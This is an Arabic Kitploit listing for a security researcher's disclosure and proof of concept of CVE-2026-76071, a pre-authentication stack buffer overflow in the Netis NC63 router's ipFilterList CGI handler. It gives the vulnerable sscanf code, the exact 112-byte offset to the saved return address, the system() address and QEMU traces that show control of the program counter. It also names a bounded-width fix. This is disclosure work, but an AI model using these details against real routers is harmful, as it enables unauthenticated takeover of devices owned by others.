Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-76071 — بحث أصلي وإثبات مفهوم (PoC) لفيض مخزن مؤقت على المكدس قبل المصادقة عبر مجموعة مسح sscanf غير المحدودة في معالج ipFilterList في Netis NC63 | Kitploit
أدوات/GitHubGitHub/ozcanpng/cve-2026-76071
أمان إنترنت الأشياءتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةتحليل الملفات الثنائيةتحليل البرامج الثابتة
GitHubozcanpng/cve-2026-76071

CVE-2026-76071

بحث أصلي وإثبات مفهوم (PoC) لفيض مخزن مؤقت على المكدس قبل المصادقة عبر مجموعة مسح sscanf غير المحدودة في معالج ipFilterList في Netis NC63

عرض المستودع
128منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-76071: تجاوز سعة المخزن المؤقت على المكدس قبل المصادقة عبر sscanf %[^,] في معالج ipFilterList ضمن skk_set.cgi في Netis NC63

الباحث: Özcan Ersan (@ozcanpng)

حالة الإفصاح

  • CVE: CVE-2026-76071
  • المورّد: Netis Systems Co., Ltd.
  • المنتج: Netis NC63 AC1200 Wireless Dual Band Gigabit MU-MIMO Router
  • البرنامج الثابت المُختبَر: NC63_V3.0.0.3327
  • المكوّن المتأثر: /bin/netis.cgi
  • نقطة النهاية: POST /cgi-bin/skk_set.cgi
  • المُحفّز: ipFilterList=mod
  • المعامل المؤكَّد ديناميكيًا: destHost
  • نفس المحلّل يُوصَل إليه ثابتًا عبر: srcHost
  • المصادقة: لم تُلاحَظ أو تُشترَط في المسار المُتحقَّق منه
  • المعمارية: MIPS32r2 little-endian، o32 ABI، uClibc
  • صنف الثغرة: تجاوز سعة المخزن المؤقت على المكدس مع التحكم في عنوان العودة المحفوظ
  • التحقق: CGI إنتاجي بالتجزئة الأصلية داخل بيئة تشغيل QEMU معزولة بوضع المستخدم
  • حالة سجل CVE عند الإعداد: مُخصَّص؛ تفاصيل سجل CNA في انتظار التعبئة

الملخص التنفيذي

يقوم محلّل MIB/القيم العام في البرنامج الثابت V3.0.0.3327 لجهاز Netis NC63 بتحليل حقل destHost ضمن ipFilterList باستخدام مجموعتَي مسح %[^,] دون تحديد أعراض قصوى للحقول. تكتب كل عملية تحويل إلى مخزن مؤقت محلي على المكدس بحجم 16 بايت. لذلك يمكن لعميل HTTP مباشر إرسال مكوّن طويل خالٍ من الفواصل وكتابة فوق بيانات التحكم المحفوظة للدالة.

بالنسبة لمكوّن destHost الثاني المُختبَر ديناميكيًا، يقع ra المحفوظ على بُعد 112 بايت بالضبط من المخزن المؤقت المحلي. أكّد تتبّع QEMU على CGI بالتجزئة الأصلية وجود إدخال ثالث يختاره المهاجم عند 0x0040f7f4. أعاد اختبار رصد فقط توجيه العودة إلى مسار system() PLT الأصلي عند 0x00423ab0 مع الحفاظ على بيانات الطلب التي يتحكم بها المهاجم كوسيط a0 الدقيق لمعمارية MIPS. سجّل /bin/sh المحمي العلامة ولم ينفّذ أي أمر.

يحتوي PoC العام عمدًا على نمط B المفرط الطول فقط. ولا يتضمن قيمة نقل التحكم الخاصة أو بناء حدود الأوامر. سكربت RCE المُدار بشكل منفصل في poc/exploit-db/ مُعدّ لتقديم إلى Exploit-DB ومخصّص للاختبار المصرّح به للأنظمة المتأثرة فقط.

سلامة الأثر المتأثر

193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792  netis_NC63_V3.0.0.3327.bin
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2  squashfs-root/bin/netis.cgi
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b  squashfs-root/bin/boa
e3fd0ee3013014d59b14a409fb4ee5bb546e7d32413758ab3ad4fb0f0d3dcc47  squashfs-root/lib/libapmib.so

تجزئات الإنتاج الأصلية

سطح الهجوم وحالة المصادقة

تُنشئ واجهة البائع الأمامية srcHost وdestHost كثلاثة مكوّنات مفصولة بفواصل ثم تنشرها مع ipFilterList إلى /cgi-bin/skk_set.cgi:

param.destHost = $("#dest_host").val();
param.destHost += "," + $("#dest_ip_1").val();
param.destHost += "," + $("#dest_ip_2").val();
param.ipFilterList = $("#ip_action").val();

request({
    url: "/cgi-bin/skk_set.cgi",
    data: param
});

إنشاء طلب الواجهة الأمامية من المورّد

لم يحتوي طلب CGI المُتحقَّق منه ذو الشكل HTTP على أي ترويسة Cookie أو Authorization. كان /tmp/boa_auth غائبًا، ومع ذلك استمر التنفيذ في مسار محلل ipFilterList=mod وdestHost. عيب إفساد الذاكرة هو مجموعة المسح عديمة العرض في FUN_0040f7f4؛ أما فشل التفويض الأوسع في CGI فهو الشرط الذي يعرّض هذا المعالج ذا الامتيازات قبل المصادقة.

حدود CGI الجذرية غير الموثّقة

تتبّع من المصدر إلى الحوض

Unauthenticated HTTP client
  |
  | POST /cgi-bin/skk_set.cgi
  | ipFilterList=mod
  | destHost=1,0.0.0.0,<long comma-free component>
  v
FUN_004138a0
  v
FUN_004134c8 (ipFilterList trigger row)
  v
FUN_00410898(request, "ipFilterList")
  v
FUN_0040f7f4(request, trigger, mib_table, pMib)
  |
  | get_request_param("destHost")
  v
sscanf(value, "%d,%[^,],%[^,]", ...)
  |
  | second destination: char[16]
  | no maximum scanset width
  v
saved fp overwrite -> saved ra overwrite -> controlled PC

تقوم بيانات libapmib.so الوصفية الأصلية بربط كلٍّ من srcHost وdestHost بالنوع 0x0c، وهو ما يحدد حالة المحلّل هذه. أُجري التحقق الديناميكي باستخدام destHost؛ وأُدرج srcHost كتغطية ثابتة لنفس المحلّل بدلًا من ادعاء ديناميكي منفصل.

مسار المعالج وبيانات MIB الوصفية الأصلية

الشيفرة القابلة للاستغلال

شيفرة زائفة مُطبَّعة مستخرجة من Ghidra:

case 0x0c:
    value = get_request_param(request, metadata_name);
    sscanf(value,
           "%d,%[^,],%[^,]",
           &selector,
           first_ip_component,   /* char[16] */
           second_ip_component); /* char[16] */

    *(char *)(destination + field_offset) = selector;
    inet_aton(first_ip_component, destination + field_offset + 1);
    inet_aton(second_ip_component, destination + field_offset + 5);
    break;

تحويلات scanset غير محدودة

sscanf() ليست بحد ذاتها الثغرة. العيب هو أن %[^,] لا تحتوي على حد أقصى لعرض الحقل، لذا لا تعلم sscanf أن كل وجهة لا تتسع إلا لـ 16 بايت. الصيغة المدركة للسعة ستستخدم عرضًا مثل %15[^,]، وتتحقق من نجاح ثلاث تحويلات بالضبط، ثم تتحقق من صحة قيم العنوان المُحلَّلة. هذا مثال على التخفيف، وليس رقعة من المورّد.

تحليل تلف المكدس

تبدأ FUN_0040f7f4 عند 0x0040f7f4 وتُنشئ إطارًا بحجم 0x1d0 بايت:

0040f7f4  addiu sp,sp,-0x1d0
0040f7f8  sw    ra,0x1cc(sp)
0040f7fc  sw    fp,0x1c8(sp)
0040f800  sw    s0,0x1c4(sp)

وجهات النوع 0x0c موجودة عند fp+0x14c وfp+0x15c. القيمة المحفوظة ra موجودة عند fp+0x1cc، مما يجعل المسافة الدقيقة من المخزن المؤقت الثاني:

0x1cc - 0x15c = 0x70 = 112 bytes

تخطيط المكدس وإزاحة ra المحفوظة

التحقق الديناميكي

التحكم في عدّاد البرنامج

استخدم إثبات عدّاد البرنامج (PC) المعزول 112 بايتًا من الحشو متبوعةً بالبايتات الثلاثة المنخفضة ذات الترتيب little-endian للقيمة 0x0040f7f4؛ وقد وفّر مُنهي sscanf البايت الرابع الصفري. رصد QEMU مُدخلين عاديين للمُحلّل تَلاهما مُدخل ثالث ناتج عن عنوان العودة المُستبدَل:

parser_entry_hit=3 pc=0x0040f7f4
GPR28: ... s8 41414141 ra 0040f7f4
total_parser_entry_hits=3
PASS: third parser entry is the overwritten saved RA.

مدخل المحلل الثالث المُتحكَّم به

حدود الأوامر القائمة على المراقبة فقط

شكّل تحقق خاص منفصل قيمة محفوظة ra=0x00423ab0، وهي مسار system() PLT في الملف الثنائي الأصلي. وبقي لاحقة مفتاح طلب مُتحكَّم بها في سجل MIPS a0 عند الإرجاع. واستبدلت بيئة التشغيل المؤقتة /bin/sh بمسجّل ثابت:

argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_IPFILTER_RCE_PROOF>
CONTROLLED_MARKER_PREFIX_REACHED
PASS: attacker-controlled request data reached system() as exact a0.
PASS: guarded /bin/sh recorded argv and executed no command.
تنزيل الأداة